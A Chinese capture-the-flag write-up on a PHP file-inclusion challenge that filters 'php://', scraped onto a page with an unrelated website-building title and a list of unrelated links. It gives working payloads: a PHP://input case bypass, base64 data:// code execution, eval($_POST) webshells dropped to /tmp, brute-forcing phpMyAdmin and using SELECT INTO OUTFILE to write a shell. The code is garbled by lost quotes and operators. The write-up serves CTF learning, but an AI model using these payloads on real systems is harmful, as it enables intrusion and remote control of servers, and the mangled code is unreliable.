当前位置: 首页 > news >正文

用于制作网站的软件服装网站模块方案

用于制作网站的软件,服装网站模块方案,玉林市城市建设投资有限公司网站,南阳市建设局网站知识点#xff1a;代码审计 文件包含 伪协议 伪协议知识点补充#xff1a; 在PHP中#xff0c;伪协议#xff08;Pseudo Protocols#xff09;也被称为流包装器#xff0c;这些伪协议以 php://开头#xff0c;后面跟着一些参数#xff0c;用于指定要执行的操作或需要…知识点代码审计 文件包含 伪协议 伪协议知识点补充 在PHP中伪协议Pseudo Protocols也被称为流包装器这些伪协议以 php://开头后面跟着一些参数用于指定要执行的操作或需要访问的资源。 ​ 伪协议表明这些协议并不是一个真实的外部协议例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。 php://input是PHP提供的一个伪协议允许开发者访问POST请求的原始内容对于POST请求数据PHP提供了 $_POST 和 $FILES 超全局变量在客户端发起POST请求时PHP将自动处理POST提交的数据并将处理结果存放至 $_POST 和 $FILES 中。 一、解题思路 step 1 打开靶机审题 打开靶机得到一串代码开始代码审计 ?php show_source(__FILE__); echo $_GET[hello]; $page$_GET[page]; while (strstr($page, php://)) {$pagestr_replace(php://, , $page); } include($page); ? step 2 代码审计 show_source(__FILE__); show_source() 函数将指定文件的内容以语法高亮的形式输出 strstr($page, php://) strstr()函数 strstr(字符串,你要搜索的内容,false) 括号里面有三个部分 1.字符串也就是上面的$page。例如在url后面添加 /?page123456那么$page的内容就是123456。 2.你要搜索的内容也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://而这里是一个while语句一旦查找到php://那么就会执行大括号里面的语句。 例如我的url是 http://61.147.171.105:53858/?pagephp.php://input 那么传入的$page的内容就是php://input而前面的“php.”就会被丢弃。 3.false我这里写false的原因是该参数默认是false。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后会输出php://和之后的内容。而如果为true则会输出“php.”也就是php://前面的内容。 注strstr函数对大小写敏感也就是会区分大小写。 str_replace(php://, , $page) str_replace()函数 str_replace函数这个函数的作用是将匹配到的php://全部替换为空。 例如str_replace(“1”“2”“123”)会输出223。因为会将全部的1替换为2。同样区分大小写 str_replace(php://, , $page) 即会将 php:// 替换为 $page 中的值。 总之程序过滤掉了page参数传入php:// step 3 五个解法 解法一 使用php://input 伪协议大小写绕过/原因strstr函数区分大小写 php://input可用于执行php代码使用post方式传递代码即可。这里再将php改为PHP 构建url为 /?pagePHP://input 使用hackbar或bp抓包用post方式传递php代码。 ?php system(ls); ? 列出所有文件 fl4gisisish3r3.php 疑似flagcat一下得到了真的flag 解法二 data://伪协议执行命令利用 既然过滤了php://的伪协议 我们可以使用其他协议来替代这里使用data://伪协议 data://伪协议php5.2.0起数据流封装器开始有效主要用于数据流的读取。如果传入的数据是PHP代码就会执行代码 使用方法: data://text/plain;base64,xxxx(base64编码后的数据) ?php system(dir)? base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b (注意编码后的号要URL编码) ?php system(cat fl4gisisish3r3.php)? base64编码后使用 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg 查看源码得到flag 解法三 data://伪协议转木马 ?php eval($_POST[x]); ? base64加密后拼接 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg 菜刀连接即可: 解法四 抓包后再最下面添加一段代码蚁剑 代码如下 ?PHP fputs(fopen(/tmp/shell.php,w),?php eval($_POST[x])?);? 注意点这里一句话木马[]里没有单引号蚁剑链接先测试链接 Tipslinux默认tmp是可写目录所以尝试一句话然后蚁剑链接即可看到文件 解法四 数据库写入一句话木马这里没弄明白在哪里写入一句话木马望大佬指条明路 dirsearch扫描获得phpmyadmin文件怪怪的传参进去看看情况得到如下界面 抓包爆破用户名和密码 得到用户名为root密码为空 进入数据库执行这条命令查看secure_file_priv是否为空为空则可以写数据 SHOW VARIABLES LIKE secure_file_priv 显示为空 然后写入一句话马用蚁剑连接 SELECT ?php eval($_POST[xiaohua]); ? INTO OUTFILE /tmp/test1.php 注secure_file_priv 为系统变量如果是null即没设置允许操作的目录所以没法导出到文件 解法五 通过hello参数回显新方法但这里模棱两可这里也需要大佬指路 payload如下(flag文件名由上面方法可以得到) http://61.147.171.105:64764/?pagehttp://127.0.0.1?hello?show_source(fl4gisisish3r3.php);? 大概理解一下 首先使page参数为本页代码绕过判断会执行include文件包含本页代码这时传入的hello参数会被视为php代码执行
http://www.w-s-a.com/news/482789/

相关文章:

  • 庆阳手机网站设计兰州网站的优化
  • 企业网站托管有必要吗项目管理资格证书
  • 检索类的网站建设个人博客网页模板图片
  • 贵阳网站建设搜q479185700做网站有什么语言好
  • 制作公司主页网站贵阳网站建设技术托管
  • 广西建设网站网址多少钱南京江北新区地图
  • 网站建设及优化 赣icp外包服务美剧
  • wordpress添加菜单深圳优化网站排名
  • 免费下载建设银行官方网站重点专业建设验收网站
  • 建行官方网站登录怎样制作悬浮的WordPress
  • 建设一个网站需要几个角色广告设计与制作就业前景
  • 侵入别人的网站怎么做怎么修改网站排版
  • 网站如何提交百度收录什么最便宜网站建设
  • 商丘网站建设想象力网络做公司网站需要准备什么
  • 滁州新手跨境电商建站哪家好网站推广运作怎么做
  • 烟台有没有做网站大连建设工程信息网专家库
  • 网站建设明确细节商贸有限公司的经营范围
  • 南宁微网站开发做的好的有哪些网站
  • 好的素材下载网站读书网网站建设策划书
  • 东莞南城网站建设wordpress用户投稿插件
  • 开个网站做代理赚钱吗沽源网站建设
  • 做卖车网站需要什么手续wordpress 主题 demo
  • 上海外贸网站开发公司建设内容
  • 网站制作品牌公司网站的字体颜色
  • 外贸wordpress模板常德seo快速排名
  • 网站后台认证码专门做网页的网站
  • 宁波企业品牌网站建设物流公司招聘
  • 北京机建网站做网站用angular
  • 攀枝花市网站建设outlook企业邮箱注册申请
  • 企业网站建设报价单免费劳务网站建设